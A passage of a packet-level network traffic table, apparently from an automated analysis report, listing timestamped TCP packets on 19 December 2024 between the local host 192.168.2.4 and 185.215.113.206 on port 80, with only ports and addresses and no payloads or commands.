Dec 19, 2024 07:57:23.958655119 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.958735943 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.958789110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.958838940 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.959409952 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.959486008 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.959542036 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.959590912 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.960282087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.960335016 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.960412979 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.960459948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.961126089 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.961178064 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.961256027 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.961302996 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.961862087 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.961919069 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.962007999 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.962060928 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.962754011 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.962805986 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.962899923 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.962956905 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.963649988 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.963664055 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.963709116 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.963737011 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.964261055 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.964315891 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.964560032 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.964617014 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.965123892 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.965188980 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.965248108 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.965296984 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.966118097 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.966131926 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.966175079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.966229916 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.966846943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.966902971 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.966981888 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.967036009 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.967673063 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.967685938 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.967730999 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.968395948 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.968455076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.968525887 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.968600035 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.969311953 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.969369888 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.969446898 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.969506979 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.970011950 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.970071077 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.970159054 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.970208883 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.971010923 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.971023083 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.971066952 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.971092939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.971759081 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.971817017 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.971903086 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.971966028 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.972628117 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.972640991 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.972682953 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.973462105 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.973481894 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.973524094 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.973548889 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.974159002 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.974215031 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:23.974344969 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:23.974397898 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.076195955 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.076236963 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.076275110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.076316118 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.076325893 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.076355934 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.076380014 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.076595068 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.076642036 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.076698065 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.076741934 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.077102900 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.077156067 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.077157021 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.077198029 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.125642061 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.125730038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.125766039 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.125802994 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.125952959 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.125953913 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.126483917 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.126555920 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.126611948 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.126667976 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.127335072 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.127429008 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.127517939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.128120899 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.128192902 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.128231049 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.128287077 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.128968954 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.129036903 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.129106998 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.129159927 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.129780054 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.129844904 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.129883051 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.129945993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.130594969 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.130661011 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.130705118 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.130760908 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.131459951 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.131493092 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.131522894 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.131542921 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.132241011 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.132316113 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.132370949 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.132445097 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.133052111 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.133117914 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.133177042 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.133238077 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.133856058 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.133915901 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.133984089 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.134042978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.134726048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.134778023 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.134834051 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.134834051 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.135509014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.135580063 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.135627031 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.135701895 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.136347055 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.136426926 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.136473894 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.136531115 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.137166977 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.137232065 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.137264967 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.137326002 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.137991905 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.138051987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.138115883 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.138171911 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.138791084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.138847113 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.138894081 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.138966084 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.139679909 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.139741898 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.139764071 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.139815092 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.140470982 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.140527010 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.140564919 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.140623093 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.141256094 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.141314983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.141382933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.141443014 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.142095089 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.142155886 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.142254114 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.142318010 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.142903090 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.142967939 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.143043041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.143096924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.143765926 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.143837929 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.143929005 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.143990993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.144567013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.144629955 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.144695044 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.144757032 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.145366907 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.145427942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.145483971 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.145570993 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.146219015 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.146282911 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.146343946 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.146405935 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.147008896 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.147094965 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.147180080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.147869110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.147977114 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.148042917 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.148746967 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.148822069 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.148828983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.149594069 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.149641991 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.149667978 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.149722099 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.150346041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.150409937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.150461912 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.150521994 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.151113987 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.151218891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.151282072 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.151940107 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.152031898 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.152096987 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.152776003 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.152823925 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.152858019 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.153614044 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.153677940 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.153697968 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.154011965 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.154402971 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.154490948 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.154550076 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.155215025 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.155352116 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.155416012 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.156044006 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.156106949 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.156137943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.156863928 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.156930923 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.156964064 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.157670975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.157736063 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.157793045 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.157862902 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.158507109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.158607006 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.158664942 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.159358025 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.159646988 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.159717083 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.160228014 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.160290956 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.160312891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.161015987 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.161077023 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.161078930 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.161786079 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.161861897 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.161899090 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.161962986 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.162604094 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.162719011 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.162786007 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.163455963 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.163640976 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.163705111 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.164278984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.164307117 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.164343119 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.164376020 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.165108919 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.165174007 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.165191889 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.165249109 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.266855001 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.266944885 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.267086983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.267256975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.267349005 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.267441034 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.268085957 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.268172979 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.268213034 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.268881083 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.268945932 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.317399979 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.317519903 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.317553043 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.317598104 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.317657948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.317657948 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.318276882 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.318392038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.318499088 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.319147110 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.319205046 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.319242001 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.319267988 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.319916010 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.319992065 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.320019960 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.320092916 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.320847034 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.320905924 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.320918083 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.320971012 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.321594954 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.321674109 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.321707010 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.321775913 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.322388887 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.322455883 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.322484970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.322571039 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.323333025 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.323369980 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.323400021 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.323448896 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.324007034 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.324089050 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.324110031 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.324173927 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.324892044 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.324961901 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.325000048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.325061083 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.326051950 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.326086998 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.326117992 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.326138020 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.326567888 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.326602936 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.326622963 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.326654911 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.327347994 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.327415943 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.327510118 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.327577114 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:24.328213930 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:24.328248978 CET	80	49759	185.215.113.206	192.168.2.4
